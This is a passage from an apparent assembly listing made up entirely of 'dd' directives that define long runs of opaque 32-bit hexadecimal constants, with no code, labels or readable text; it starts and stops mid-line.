0FA588B09h dd 24DA00AFh, 8F49AC6Ah, 1BEE07Fh, 0CCF674BAh, 70D1CDA7h dd 0B1E64F0h, 53C19CA4h, 7B73BA99h, 0A830E421h, 87B70075h dd 479508B8h, 530077C8h, 0F560CFD4h, 1333FC6Ah, 79DD0Fh dd 4E977808h, 0D800DE1Dh, 93ADF363h, 0EE2169h, 0DFA2FA99h dd 4DF667E0h, 262D5500h, 0BD6E3B44h, 39F3F88Ch, 9526FDC6h dd 1E167Bh, 79A77BB7h, 1902F2B3h, 3456DFC4h, 6A083A0h dd 5325C0B9h, 77930071h, 37590E01h, 80149966h, 7D41C7Bh dd 0EE4FA6FBh, 0C0446DD2h, 0AFECF9Fh, 30776EF4h, 8836078Ah dd 0F840803Eh, 0A700789Fh, 0B73B12Dh, 3912024h, 0A83AA027h dd 63E9887Ch, 0CE2181EBh, 0CD0F4DE8h, 8E40E0CBh, 3D99035Fh dd 0EBAD4BAAh, 265EE5A0h, 6BE04A00h, 0DC0E1985h, 0C0FC0097h dd 0FBCEAF2Fh, 0B8075163h, 0DB61E986h, 0F1AE66F0h, 71A0C0FFh dd 91E36772h, 0C217E800h, 0FB552234h, 0C1C703B9h, 0DC064B38h dd 6F822680h, 0CEEF400h, 2D334AE9h, 5B5D0053h, 0FEAE6CC5h dd 50EC45DDh, 5C177926h, 427DFC83h, 8DC0D56Bh, 335ACFh dd 551A4B3Bh, 4329FEC6h, 95E3E71Dh, 4FD5EF00h, 4EF6C8h dd 2508A911h, 0FE635126h, 0E929B2Ch, 56C6600h, 0BEF118h dd 344FF745h, 53392359h, 8EC1D300h, 6D86E4C3h, 0EDE538DCh dd 8FB14801h, 0FC1A14AAh, 9CF2CC59h, 2DD75401h, 0D1255D33h dd 39D9D0h, 1FDABF95h, 8D3D7CB2h, 0E201C700h, 301388B5h dd 833100E5h, 0A299A032h, 4B00AE6Ah, 594F6E21h, 32F301Dh dd 911CDD86h, 1FA05FA5h, 0D7092127h, 87461ADBh, 6F77E2DDh dd 59BC10A0h, 7F4900D2h, 692F1256h, 6A3E5E6Bh, 5FBAF0h dd 1F089951h, 133787Eh, 2E1C85BDh, 0FC75C7D3h, 0D576037Ah dd 0EFBB1600h, 72CA2164h, 8A61008Ch, 8911D2Fh, 300E0AEh dd 270A9CDDh, 3914D5BAh, 4580DE9Dh, 0A1AB7BB2h, 260707A0h dd 4B08AF6Bh, 7959FD30h, 4D850F23h, 2260465Dh, 61DE75CEh dd 51E9352Eh, 0C55AB300h, 0B65B18h, 2962DF46h, 1689F55Fh dd 766D9B00h, 0FA93B76Eh, 8BDA3CF6h, 30040F8Eh, 7338B6E0h dd 0F7E85AAAh, 253D2800h, 19B3E0B4h, 0A4AF0142h, 9164C04Eh dd 0F95BE46Ch, 5D044400h, 0EE732BA9h, 306F3D54h, 8926500h dd 0E84AA2CFh, 15C5A07h, 83A031FCh, 15DEE56h, 13DBBE2Fh dd 7FA7763Ch, 5686AAC4h, 0D7B0538h, 1DDADDh, 0C7FEC2E8h dd 0CD2418DFh, 394042h, 5C871EF1h, 77109092h, 72E1481Ah dd 0D0656867h, 0AE09AC6Fh, 0E61E7CE0h, 0C640C9C7h, 0BC66B6A4h dd 2D28C14Fh, 0C435B1FAh, 5B3BF8EEh, 723000B2h, 0DE760B8Bh dd 0B4DC02F3h, 52CD92EDh, 0B08AD880h, 0F7059B31h, 5FA36114h dd 8CF0F090h, 8413007Fh, 0ABD68115h, 8700EDEFh, 0DCCFA4A8h dd 4809A051h, 5000A088h, 4006AAA7h, 5C000EBEh, 0A81827D8h dd 3AD29852h, 0D900FA0Ah, 2931990Dh, 703F2655h, 0F5C09CF6h dd 0CCFC4940h, 7FB6AC6h, 2EDD320Dh, 7B9A009Eh, 0CA16F188h dd 14004651h, 4DCC6A19h, 2ACD0E7Ah, 0C09C045Bh, 91F2D0A3h dd 0A724FEC4h, 5000CE9Dh, 0D66022D5h, 1FD900D1h, 13981997h dd 8390CCF0h, 7658FAE0h, 5D7F07E4h, 0C580A042h, 488B33h dd 0CE90D994h, 8DFDD3C3h, 5315EE00h, 0B1D7501Bh, 784200EFh dd 5512F27Bh, 6A288508h, 2302B3B5h, 5E274DC5h, 0C6E4C187h dd 4A0BA420h, 6B4030Ch, 2998269Eh, 2473461Bh, 6B86DF00h dd 0EF2D756Eh, 5FA41D39h, 5D807DD7h, 66E08757h, 72006552h dd 0E6AC0216h, 0CC8A8Fh, 99470360h, 0E77D2128h, 0C9D6C8C0h dd 7FB37E17h, 90670010h, 68995D80h, 0C80BA727h, 807B46A0h dd 0B61D4044h, 0AB66007Ch, 0BA048CACh, 351858A9h, 0C46E2AE5h dd 0F7F885h, 0C044E9B9h, 3F30EDA1h, 83A01625h, 0D0F00A1Ch dd 1DF47Ah, 5CFDC33h, 0A52372D8h, 0C3B63C09h, 6CC4400Bh dd 0CE7B0114h, 0DCFCD737h, 5A8D02Fh, 65F7C700h, 0F4CFB393h dd 3BE40041h, 0BE16D5FBh, 40124E7h, 11D64AF5h, 0C7D41C81h dd 2F940179h, 0D1FC8A83h, 0B4F4F412h, 9D2A4100h, 75C068B0h dd 0A8320146h, 657A2981h, 79E97048h, 0C442AD06h, 205F7Fh dd 574B9AA9h, 16E6E768h, 1D603658h, 9400A0FAh, 1D030628h dd 9F4C02EBh, 0A97B9D5Ch, 52C64040h, 0B295F30Dh, 60E24843h dd 3089650h, 0E798561Dh, 6E80BE07h, 33000ECBh, 9B35E5A4h dd 2AA8972h, 12D3F232h, 0D8A0C9F0h, 0C7A175EEh, 0EA00B4E8h dd 8E91921Fh, 84CDABh, 6707ECE0h, 9780386Ah, 0D5310D03h dd 0C051F1A7h, 0C20E18h, 6ADE5D2h, 0F99C3711h, 0F11C3AE6h dd 0D5C3C653h, 0F02D5936h, 1E6A5C2h, 1AE5A2EBh, 80902937h dd 0BB7A0181h, 0F7D850h, 0CBF98566h, 0DBBCE7C1h, 0C0294C0h dd 2FF194Eh, 2C785303h, 0A7C0895Ch, 1800FA69h, 0AF23CB6h dd 39427Ah, 0BBFF7B15h, 67DDE38Dh, 3BF95700h, 0DC4822AAh dd 20F514B5h, 78009C7Ah, 5B360C1Dh, 0EC2C7549h, 0C003512Dh dd 80606B18h, 43E370h, 1E5B9A4Ch, 2093FC30h, 0EDE65100h dd 0BDE71032h, 70111398h, 0FC26020Dh, 12407502h, 0EF07B752h dd 10AD7658h, 180C8630h, 0F3A90ECCh, 1601BC2h, 3CAE1C93h dd 6F409109h, 62DEDBh, 315A45A3h, 4008146h, 7911334Dh dd 0A8141Dh, 0EF58E00Ah, 248E17BAh, 72A29100h, 62F3831Ah dd 972B000Bh, 0BEB7253Ch, 220076EDh, 0F2F6E378h, 1122DB9h dd 5AD4721Bh, 0C0A47F06h, 0D37375EAh, 930036B0h, 412CEE80h dd 3C0FC0F3h, 795988h, 3A78101Ah, 0F9B26BABh, 0BE0018E8h dd 0B51F354Bh, 797055h, 30A571E6h, 85261D66h, 0CB1FB170h dd 0AC40C540h, 290397E5h, 22F55848h, 7E528200h, 25DD3587h dd 88C6A128h, 6DD8D300h, 0B00B9408h, 34EE01BBh, 9F7238D0h dd 0F26AFC81h, 47FE421Ch dd 23EDFDC0h, 0F41CE524h, 0CB83007Bh, 0D254A861h, 0CE001156h dd 480CB046h, 828BF9h, 70DB5E2Ah, 0C599DE4Dh, 0B776531Ch dd 15AD100h, 1ABA08h, 0E707D5F4h, 0ED38A81Fh, 0B8AEDC00h dd 0B691EE6Fh, 30A63AC0h, 16870D00h, 0B0323F6Eh, 19006B78h dd 0E49ADCD7h, 2BB1C14h, 66751FEDh, 77C317F0h, 89615F88h dd 0C424CD00h, 7085A4EBh, 0C35D01C5h, 12D76DF0h, 1845F08Ch dd 5700207Ah, 0BED49B1Ch, 1E94F660h, 0B9DEE859h, 89135880h dd 500AE444h, 67087B00h, 5C03A5FFh, 8B88003Dh, 0B770D252h dd 12000609h, 75483107h, 1CD727C0h, 0FF61B29Ah, 9FB6EA00h dd 7A2BD8CDh, 8BFC595Eh, 8A95AB00h, 0D0BB98F2h, 0C0280600h dd 0D75DECBEh, 0A59A00D9h, 880EDAF0h, 0FC009871h, 1953D23Dh dd 5062C355h, 0DFC8EBh, 41E68F64h, 6AB59CB1h, 5B0A13B0h dd 0E08180BEh, 212B0A07h, 7DA72001h, 955D4084h, 0AB54805Eh dd 61053E5Ah, 9F4587D2h, 4F2CC4C0h, 5E3500A2h, 0E640E3D7h dd 290A638Ah, 0BCB41E56h, 0A4906600h, 38229ECBh, 3C000DDEh dd 0FE81FCD1h, 6900FBD6h, 45A83486h, 0F0E83E09h, 12F0247Dh dd 82CD1F50h, 0E7539F36h, 10878040h, 5628C00h, 0C75FFEA2h dd 2370057h, 0CF7B9895h, 7200BA6Dh, 0FAA1C29Ch, 246B2ACCh dd 2DC2643h, 78679F61h, 9A546760h, 0DC993B02h, 40F4C631h dd 2FE779h, 9DC013ACh, 70E80BD9h, 2C38E501h, 16B2147Fh dd 713E1CCh, 51129F93h, 9809A061h, 0B000043Ch, 2AA59401h dd 0DC1119h, 8C3EE777h, 6DE66CD7h, 0BB912707h, 49E01788h dd 24BEBDB0h, 210374Ch, 4DCA711Ah, 60C2BC48h, 76992700h dd 0B7813742h, 0D75A5h, 71B24AC7h, 5D9AFA17h, 49FC8F00h dd 0D0696B9Bh, 0BBA624ADh, 0C0E11CA6h, 0F877C026h, 0DB128E33h dd 101DDC35h, 107FA000h, 3FC788h, 45164CD6h, 0E05BAAE1h dd 0A8754105h, 0B04E0E28h, 476380A3h, 300316h, 0AC941D8Bh dd 530F0BD8h, 5EC48101h, 13B17889h, 90A1D4h, 4C39DD6Eh dd 0A3563567h, 92A43200h, 40D2C9FEh, 7A300064h, 0C311AF0Dh dd 7307F646h, 15C55034h, 64299F30h, 94AA0036h, 1E3AC8CDh dd 7700B21Bh, 7DFF5731h, 0B8519B20h, 64360137h, 0D8D5AE79h dd 0F9483097h, 0ED17E20Fh, 281C6060h, 39F4401h, 0B2374806h dd 0FF2EFADh, 0B1F0A5A0h, 51000309h, 0E33C110Bh, 1C9292Dh dd 7E5643C5h, 0FA1F608Eh, 2A954AE0h, 8CA9382Eh, 0DACF007h dd 658DF321h, 2DF10880h, 392B18CBh, 1707F8F2h, 0CEDD48AFh dd 0BF2278C0h, 0CFC100D5h, 0A45A4D5Fh, 8CE83579h, 0CE91AA26h dd 0DE256830h, 0F6540786h, 308B508Fh, 0D755B2ABh, 8909C900h dd 0F2935951h, 7D2D0136h, 7FB0564Dh, 7EA9ECD8h, 0CCAD907h dd 0A0603D63h, 0E7C9467h, 0E4F38195h, 10C88CAh, 6C55EB72h dd 0DE088E22h, 9787C040h, 95A7EFCh, 0C49C0793h, 4F52B007h dd 0C3727A40h, 4B180F77h, 6418A381h, 3A970388h, 47AE99D8h dd 0F39CA0C0h, 0AFC8B30Ah, 5A00FD58h, 363E95E3h, 0D79843h dd 0EA1214D3h, 9257AD1h, 0F21C38h, 5A759618h, 5868544h dd 0E658E14Fh, 6CBFC02Dh, 0C63D1A81h, 639061F2h, 80808EA1h dd 87653659h, 840C2D7Eh, 50F10886h, 0FC110083h, 9EB6DF57h dd 2E00330Fh, 643AE6A0h, 8581FEh, 6DFF682Dh, 35063C4Ch dd 0D2001872h, 6FF1E09Dh, 4626E1h, 3C1DF36Ch, 4BFC3E86h dd 4E187000h, 0B15A2422h, 0A5D900A3h, 19CABB59h, 0D4004391h dd 10E87189h, 2054CEh, 0EFD2CF5Bh, 32E6EE2Fh, 7160E04h dd 0BCC1D179h, 3D7074B7h, 0AF9F3BE1h, 5B6A00F8h, 0F82448D2h dd 34074155h, 454CA60Fh, 187BD130h, 0D3700B4h, 4881D264h dd 890035B2h, 0BDC6F33Dh, 0A8CF5DA4h, 1267D8h, 6BE797FCh dd 8C327A72h, 4ACDD4E9h, 2299F307h, 3660ACFDh, 9047535Eh dd 0C6270028h, 0B4B3BB96h, 6A2A5FDFh, 6801B8D8h, 0B2E377AAh dd 3EF88634h, 7E651D8Eh, 8B017B98h, 0BEC45F0h, 52CAE8BDh dd 0EED24707h, 6D346C6h, 136FC886h, 3153006Ah, 29C90AD4h dd 0AB0173C3h, 0B3179345h, 82C42543h, 40B66081h, 0C03D5E59h dd 0BA0EC63Ch, 0B8D98F73h, 80328BF5h, 0C43AB452h, 9CF367Fh dd 0D500C060h, 2561D983h, 6455D74h, 0F86EE5D0h, 3F031851h dd 0A5429E66h, 14A9A099h, 0BA563E91h, 6B0A2A89h, 0CC3DAE8Eh dd 6151893Ah, 2EABC80Eh, 0BD6BE775h, 0A712602Fh, 97BFFA20h dd 0DAB053F0h, 6CDD700Fh, 50A083A3h, 1FF9E1F7h, 1882E2FDh dd 62B7E3CDh, 128F7A00h, 5C540F81h, 2A55079h, 0A9B1810Eh dd 0DCF5F5EAh, 0FF31452Fh, 5B8908B6h, 40B5209Eh, 65DE96E9h dd 0AB4C9F35h, 0B838CAh, 8DAE0E63h, 7459823h, 838F038Ah dd 30804F52h, 97A8C3F4h, 42D79000h, 0D28818DEh, 2B01D2Eh dd 0F9F74078h, 58C73931h, 5990EB0Ch, 3E0B18D0h, 0FC053654h dd 805C7C4Eh, 53955224h, 73139301h, 0A9DE1B82h, 0F8FC24E1h dd 40D4015Ah, 575BABFFh, 7958C801h, 0A8779000h, 130C723Dh dd 64E800C6h, 41658C70h, 2A3A3ADFh, 53520048h, 40C41D9Eh dd 38CE3042h, 0A379D218h, 0A5F96B0Eh, 3937C08Dh, 0FFF19FECh dd 97C7E8D3h, 0F0730085h, 0DA41FDF4h, 8B01E318h, 36C55394h dd 0D7DC6FACh, 40AB6F02h, 482B6261h, 460A1CFh, 18444971h dd 20AC046Bh, 834D8B00h, 30D7DD96h, 0C6E662h, 2B13C99Dh dd 281648EEh, 40FD9F00h, 0CEE4E2D0h, 18F9009Ch, 0D168076Dh dd 0C906B1Ah, 17FC5A00h, 6E64984Fh, 3F910074h, 15B7E492h dd 0BC0E760Bh, 7F4004h, 0D0942B64h, 5BAF29C0h, 28AAC220h dd 2CFBA430h, 18F6FD9Eh, 678388BCh, 78D849h, 1E80BECDh dd 3C33C53Eh, 70145C7Ah, 150308E6h, 42389CBCh, 1B4A9AC0h dd 0B3D06800h, 5865564Eh, 3ADDF8A6h, 7E03E99Eh, 0A8FF4FE7h dd 34D525E8h, 2F60EE62h, 6DC80335h, 88E6FEDBh, 0B5327E05h dd 980F109Dh, 0ECF44107h, 0B448C5A7h, 756C180Ah, 3F95483Ah dd 8133093Fh, 301532A6h, 618F2BD8h, 0B17859A1h, 54001FCBh dd 10B702B8h, 7A4C09Fh, 0AB3E1CC7h, 0DF21D009h, 7B1F07C1h dd 0C800B04Ah, 16B331Fh, 88A730B7h, 0E927BD40h, 0AB37018Eh dd 0F080204Ah, 0C1101FA9h, 0AB20A036h, 7F683B0Dh, 20C5A242h dd 4DC8AF4Bh, 91E380h, 0AAD6EEF6h, 3F5986BBh, 47048203h dd 0C0AE2470h, 0FA9C3B2h, 11C46A57h, 8DF42880h, 770F02E4h dd 32C0ABFh, 0C2F0F15Bh, 24571880h, 0B9FC6D04h, 1F7CBEA2h dd 11AF988h, 0C158BBA0h, 0F84A142Fh, 78001CB7h, 0AC521F4Eh dd 50D7C7DAh, 7DDC40Ah, 0B1FC35ADh, 2BACCF1Ch, 582B49DCh dd 2D172034h, 0D9660AEEh, 0F4FD920h, 92CEE700h, 0FBC04B6Ch dd 74830346h, 60C4C6B2h, 18AC783Fh, 80B3D96Ah, 14360F7h dd 119698C5h, 0F08140E0h, 44DBADA3h, 3F406980h, 0C7206A10h dd 70F07820h, 84C8C49h, 16B77C0h, 35B4AC99h, 0BF6C2041h dd 218F070Ah, 0D8C58258h, 2BA04078h, 0B820B04Bh, 8A91C708h dd 0C02F5454h, 0B0675C7Eh, 59BAA860h, 0D605CBC7h, 0F7D8E35Fh dd 200005C5h, 5C8C1EE6h, 2AAE0353h, 0FA4BF2E4h, 4C5F9DE0h dd 3381948h, 6087D122h, 0C2CE93BAh, 0FA209BD9h, 2150E1A6h dd 5E21205Bh, 0F32AEAE0h, 0CF114772h, 0BBE050B2h, 1BFB8F81h dd 0A71E009Ch, 28575DD1h, 61EA888Fh, 0A212750h, 638C8BBDh dd 0CAA2F140h, 0CF0E2094h, 0B1EAD1FEh, 41E46F2h, 0B69CF045h dd 43DA7C29h, 19B7825Eh dd 988095B3h, 0C1641FEh, 0F9F69300h, 0B2705A77h, 80A8990Fh dd 7F30AB22h, 4285F25Ch, 0C8651881h, 0F2B24030h, 0AE11232Bh dd 52A885E7h, 0ECF02860h, 40D3242Bh, 207089C5h, 7274AA8Fh dd 80256F46h, 0F190B94Fh, 10A279Dh, 0B086AA87h, 3ED6658Eh dd 601E4D29h, 0BCD2E747h, 4220BC7Eh, 0AB2EC051h, 23532FB5h dd 55E2A9D9h, 1168C409h, 8A8D228h, 53DA12EFh, 0FC4324A8h dd 50CAC921h, 308504C3h, 42D75E40h, 0E1A8E723h, 0BF153B3h dd 10A6701Eh, 52D5A9FBh, 8942050Eh, 6078BEE6h, 8220A59Bh dd 14D78A11h, 75340BCh, 2385C080h, 8FBEB0B5h, 0B320EB94h dd 9F9C2BBFh, 0F1AFC220h, 0BC98A300h, 0AB28C2C6h, 2CCCD026h dd 6B781B02h, 0C57606F2h, 8B3B45CCh, 54C4CECh, 86B28081h dd 587F2078h, 0DB824C48h, 4701021Dh, 4837D836h, 9A299807h dd 72F858F3h, 40689962h, 0A8291EE3h, 11CF9A11h, 4A6196F1h dd 0F6B30520h, 4078DFDAh, 88614CAAh, 271252E1h, 0E0CC02E8h dd 3EAE2DD6h, 808F126h, 117E0670h, 0F2A9FF7Ah, 82096EDh dd 8DA843A2h, 9F52154h, 0F30680C1h, 2160BCD6h, 8A401E39h dd 11E0FFAAh, 0F2C152D7h, 0A20963Dh, 23692ECDh, 0C41F140h dd 22BD12AFh, 0C58200C6h, 49C4013h, 436AC90Fh, 8E26980Bh dd 48F0075Eh, 81BA7203h, 0E0D8C1A4h, 20A4426Ch, 21828538h dd 0BA0519Fh, 0DBA37F00h, 1CDF3427h, 0FC68888Fh, 7BC2D50h dd 5DA64B90h, 0F259103h, 5C72EC3Ch, 0ABB5BF01h, 75993404h dd 782A9DE0h, 0A9E893h, 2D53F16Ah, 0FB01EF27h, 3A75CA11h dd 0AC6D94F0h, 0F0CC018Eh, 0C1186E86h, 0A1081F35h, 0F85B9317h dd 477888B0h, 1865C44Dh, 8B784B38h, 8440CE57h, 24282B69h dd 96AFEF02h, 3E4C1534h, 7E206D57h, 0E6F4EF05h, 40789E9Ch dd 60025259h, 2FF2C380h, 948F3A79h, 2AB0205Dh, 0A257AAB4h dd 5A618840h, 0B0438000h, 20AFB44Eh, 70187108h, 955244C5h dd 202AB7A0h, 11BF0F58h, 0F33A9887h, 81C10039h, 17E71511h dd 0D74C8CD1h, 0EF8F1FD2h, 7483CD01h, 54200710h, 0A910CB6h dd 0D5513598h, 1E00A242h, 0FCD0AF03h, 10047EFh, 0E94E0F80h dd 1834E71Fh, 0A0123A82h, 54285C7Eh, 0F63028FBh, 271F181Ch dd 0E920A4B0h, 0BE58181Ah, 304AA078h, 70E0E351h, 0C640AE14h dd 0A92133B6h, 22E17E19h, 0A0708F66h, 31E12C42h, 75D801EAh dd 0D97BE684h, 19788EF0h, 8209603Dh, 61045C28h, 0FD75389Eh dd 0FC20878Dh, 0D950A4C1h, 0BBFB58h, 7D6AECB4h, 1C4BF7F6h dd 0F5708800h, 11427E1Fh, 0BC2F4FD5h, 0AE807F1h, 8D2047E9h dd 0DB62257h, 5816EF8Ch, 7FFEF0E8h, 7381BE00h, 0DDD090A8h dd 2903F0F4h, 80C884F5h, 7680DEA9h, 83EF41D0h, 9C0A6820h dd 6A6801D7h, 564B115Dh, 4DE4401Ch, 3100FB8Bh, 7F3323A3h dd 0D6ADC6h, 7A1D864Fh, 783A764Eh, 4702220Ch, 52A1806Fh dd 281DF062h, 4CCC00A8h, 0B5CF5B6Ah, 29A11E00h, 0FB17A00Ch dd 0DED000F8h, 35C90AE7h, 6A008378h, 0DAB47F8Ch, 1F17C6B6h dd 146F50A1h, 0A081A484h, 4001AEAAh, 5F8D8EE4h, 0A5186E6Fh dd 8400FF94h, 0D8D52FE9h, 70AA1BBAh, 0AF985876h, 0DFF62D02h dd 0E0048F03h, 2F12623h, 839E8D31h, 888587C2h, 7CD440E7h dd 5AEDF442h, 0F56028D9h, 6A147210h, 5C99DB24h, 84F6EC01h dd 8882FD54h, 0F75E79D8h, 0DE111040h, 0BCA6D928h, 8390473Fh dd 0F1305588h, 4F7900E8h, 0DAC4B6Bh, 720014E4h, 92CBAD34h dd 52A2C004h, 0B9E8A871h, 0FD6022ECh, 0FE71FAE0h, 6280C14Eh dd 85A51D98h, 1F84F4F9h, 9CEFFC00h, 0CCDD52A9h, 16F9F6C8h dd 80263800h, 0F490DF1Ah, 0E9A714Bh, 342C7532h, 9C1C8054h dd 0ACA93Ah, 925902BCh, 793005C5h, 0B57619EDh, 40A8E43Bh dd 4C88A1DCh, 2A39DEDEh, 70900CE0h, 48A0FFB2h, 20F74537h dd 9F09BFA1h, 0D0B65040h, 0EB47459h, 0E7C08CA1h, 0B03EB78Fh dd 47F5C221h, 0E612CE7Eh, 984751D8h, 92F0C34Eh, 68DF4FE3h dd 94D42082h, 6206608Dh, 0E17E149Bh, 0CF0091h, 77622495h dd 500924B4h, 2CA880A4h, 808497CEh, 0F28B14Ch, 80F7336Dh dd 13E454B7h, 604570ADh, 912668E7h, 711DA5C1h, 3070438Ch dd 24F3C610h, 8F48057Bh, 288086D8h, 2A5AD11h, 0D8808090h dd 70908B35h, 0BD4B6812h, 0D9B72430h, 0A304014Ah, 7BDF4D94h dd 37D984E8h, 1097B895h, 0B8404875h, 2CD1936Ah, 842D043Dh dd 88A9B7C8h, 0D8022FB4h, 3F6293ADh, 6A60405Ah, 9AC0726h dd 8E22FE98h, 0AFF2D82h, 0F2F03658h, 0CB934C00h, 0F6308F85h dd 7A8214E2h, 9100E4D1h, 28EFB52h, 3B003477h, 4E049ED9h dd 60B871E8h, 6BBA904Ch, 5891F4AFh, 18620411h, 8413BC7Bh dd 57D2F330h, 6C100C89h, 0DF3EB578h, 0A78A01C6h, 0A664563h dd 0C8855EF1h, 42124170h, 3D34380h, 0A984A087h, 38A2E407h dd 0F0048D13h, 0A4008FC3h, 2322EC76h, 2A18F162h, 1F1C108Dh dd 44824840h, 52646FAh, 0CF029466h, 6888E05Eh, 88A57958h dd 6B593428h, 0F49878ACh, 96CEA44h, 0CC84BB80h, 6E218002h dd 7E9424B8h, 8A861D0h, 8E93DD2Bh, 491FE0Ah, 0C59AC983h dd 0EDC33010h, 0A830E79Eh, 6FC76119h, 66790ADEh, 42803D50h dd 0FF10F6B1h, 28C98ECh, 0A945D54h, 0FC80BEB4h, 0ED95111Eh dd 1A024492h, 0FA7AA0F6h, 0CCA480E2h, 60D983B3h, 0ABE488ADh dd 0E28806Ah, 206E8E6h, 29F15EC2h, 0CFB20EC0h, 9A0C5C7Fh dd 0A74C1CE8h, 3CED29E3h, 2322F404h, 180ED921h, 5312212Eh dd 0C2AEDD08h, 0C118FE4Ah, 0B8108C2Ah, 9F84ABCCh, 0C2A861EAh dd 13C97851h, 0AF213618h, 3C511434h, 32F1CAC4h, 0C078800Dh dd 40673417h, 0E262472Bh, 2FFFBE31h, 90945B20h, 0E0002B44h dd 24E11AC4h, 0EC15F0h, 9143EBA4h, 0E5392D27h, 0AC8009F0h dd 0F110F9BCh, 44303FA1h, 29EE2073h, 9CB60070h, 1B4335B5h dd 7001DF2h, 9B054E81h, 0E4DA2434h, 2230A694h, 2A1D1671h dd 7B00E685h, 97D6152Bh, 0EF5B3083h, 9EAEBBA0h, 614DEA00h dd 9BFA7B19h, 4BC71EE2h, 78451829h, 0F33FCC5Dh, 0B7E6008Ah dd 64E33E34h, 332C0081h, 154E6E54h, 4B07BAD4h, 1C735778h dd 329C001Fh, 7835E7Ch, 0E585E243h, 0F0E7819Fh, 372BE04Bh dd 0F259B200h, 0D3EF615Dh, 11F000Ah, 7C30BD10h, 1CA48222h dd 4C117F10h, 0FDCCFF30h, 92066154h, 30EA086Ah, 7EBCF02Ah dd 0CBD92926h, 2E020458h, 38B62203h, 87420C27h, 858DF611h dd 3C448333h, 2F40F99Dh, 65E9B208h, 18C08468h, 641DAF08h dd 10A92689h, 887CCB90h, 0EF0540CDh, 42F32E33h, 18816DACh dd 85DD2D0h, 756CA6C1h, 110B42FEh, 949E4CDEh, 4AC4C410h dd 0C7F6418Ch, 0D99470A4h, 0A7101810h, 544EC862h, 9064AF21h dd 10849156h, 0FDC4B737h, 0D46061FBh, 6CA6E90Ch, 64DF8E10h dd 637B6684h, 0E631A40Bh, 2F3C4884h, 84BEB21h, 40C1FC4Dh dd 9908846Eh, 41D6108Eh, 4E768403h, 0C06F761h, 4C4621A3h dd 781E0F8Ah, 0C63C7194h, 0F6F1F9ECh, 83F33312h, 1480101Ch dd 94DE2B3Bh, 0B649803Dh, 5E3CC839h, 0A6B70065h, 3435ED22h dd 0E20F9669h, 0E0085999h, 0B75C63E9h, 11460C49h, 0A611D5C8h dd 1EC72B1Fh, 95D6B280h, 1EFA8699h, 80C52FE0h, 0A47AD3A9h dd 0B8F53348h, 612BB11Eh, 10C4F19h, 70986B44h, 82A41E11h dd 0C073188Dh, 9E888423h, 983C0025h, 428AB9AFh, 7303FAEAh dd 0C27ACCE4h, 567910E1h dd 0E2F0883Eh, 111992D9h, 7F202C1Ch, 8DA40084h, 0C54522B9h dd 5700A683h, 0B31B8566h, 505C3C01h, 50AB98A4h, 38A6A4FBh dd 490F0B86h, 258043C8h, 1B8988AFh, 0A812571Fh, 0BA408ADCh dd 82EE6019h, 3B1D19A6h, 58BCD9F8h, 0B83BFA24h, 0A3251055h dd 0BA31BBCCh, 495C2233h, 2DAFE255h, 7E581260h, 1E866C23h dd 0E1EC658h, 7407C589h, 0DF83808Dh, 0B950FBFAh, 0B2E0BCA0h dd 310028DFh, 551C33C5h, 0F67038Dh, 4535B32Ah, 409488D1h dd 0B63B41A8h, 343859C0h, 144ED92Eh, 946257ADh, 5C6899C2h dd 340E1816h, 4873E056h, 34072780h, 1981B8CAh, 8AB4A89Fh dd 147F2511h, 6437F700h, 76C1DA31h, 0E90FFE99h, 1C030820h dd 0CBB56DBh, 2F388F93h, 9DEF0A0Bh, 380001Ch, 0A08689DAh dd 2A3A5588h, 36CC8168h, 18309038h, 34B94814h, 0C432C4A4h dd 10127C14h, 0F34C01B6h, 214F14FAh, 86299334h, 92013FF0h dd 28599830h, 5CC9DBAh, 4041878Ah, 7C98205Dh, 0A4A1C9CCh dd 37ACD0B1h, 0E12CAA32h, 3468806Ch, 6003E164h, 54875196h dd 88829382h, 341C6084h, 2F790D58h, 9D283A0Bh, 60974980h dd 9A084175h, 1153E730h, 0F63EDBh, 7CA3E55Ch, 18AAD31Fh dd 0B4B1A000h, 0A9546A81h, 58270F76h, 4B811073h, 8FC7FBCDh dd 805CEB30h, 0FD8DDEDDh, 2A10C0A6h, 483E6D08h, 10FF30A9h dd 88E22F74h, 0CB602A85h, 0D7711618h, 0DEC207B1h, 432FA2EDh dd 0A0B75263h, 0ACEF0D93h, 3272970Fh, 20AF00C8h, 0D468F7h dd 0B0E190B6h, 0EB42FE44h, 3990967Ah, 60CB0E00h, 0E19913C0h dd 0C9750CCh, 0D1080309h, 0B1237D8Fh, 2084F6C7h, 7F787BB0h dd 0CB333A15h, 610A7818h, 0A019E3C8h, 3EC32100h, 398B8CCDh dd 8300D11Fh, 20B552A4h, 391FC5E1h, 8E409D5Fh, 1A1E9656h dd 0B86019F5h, 0E8EC8828h, 5807E778h, 1F55A50Eh, 8295B2D2h dd 2FD4414h, 10139724h, 14B0C8h, 9D73D47Eh, 1EFEC31Eh dd 0C0065E54h, 2A19F6DAh, 3F03C910h, 13529149h, 38F180DFh dd 0D1440C5Fh, 1A185C17h, 0AC406A60h, 69F63033h, 4E071009h dd 0C7B9A173h, 2128834Eh, 69604EFh, 6BC92ED0h, 8B081853h dd 123B0F8h, 0FF9EAF1Eh, 0E1944086h, 0D600970h, 0CF2028A8h dd 2882E78Dh, 1475A07Ah, 95BAA0A2h, 0B12448ACh, 704051C2h dd 45A8A116h, 36E03F46h, 6F10C07Eh, 140BCAA2h, 0B353C1C0h dd 1F704AE1h, 0F2E19C3h, 497838DFh, 7D4027C8h, 5A4B028Bh dd 93E7D9D7h, 2E6AB481h, 0B52C4159h, 971FF0FBh, 0F3D85354h dd 36C2D103h, 0E320A987h, 90707C6Fh, 541DEBFh, 205E78A3h dd 9A982B24h, 0B30A4C90h, 48352354h, 87A10882h, 7113007Ch dd 21607869h, 0DAE07548h, 6F3D029Eh, 19EB627Ah, 604430A1h dd 1AF18029h, 32A6A4C9h, 7F08A87Dh, 48E617D1h, 0E12503E9h dd 86C410F6h, 0A518A84Bh, 5F5112F7h, 80F31F6Fh, 0CADC0C0Eh dd 8F001E19h, 2601E940h, 1213AC5Fh, 0C44B294h, 0FD694B60h dd 2B514206h, 311983Dh, 0FC104E9Bh, 0B000F6C5h, 1B6F67ADh dd 8815A6A2h, 1401D502h, 0DAEB202Fh, 19A842A1h, 48941094h dd 50349030h, 0B842F9E8h, 53C2CB04h, 20388C8Dh, 0EB97B702h dd 4E666B8Fh, 832B1408h, 0CB05C0ACh, 10CE970h, 73D59588h dd 14A8971Dh, 8F9E1202h, 1058490Dh, 3D03EDFDh, 0FC34F0D8h dd 1D289892h, 0BC3A581Ah, 1C8F8C90h, 24EB388Ah, 6F7B1C3h dd 280B6CCCh, 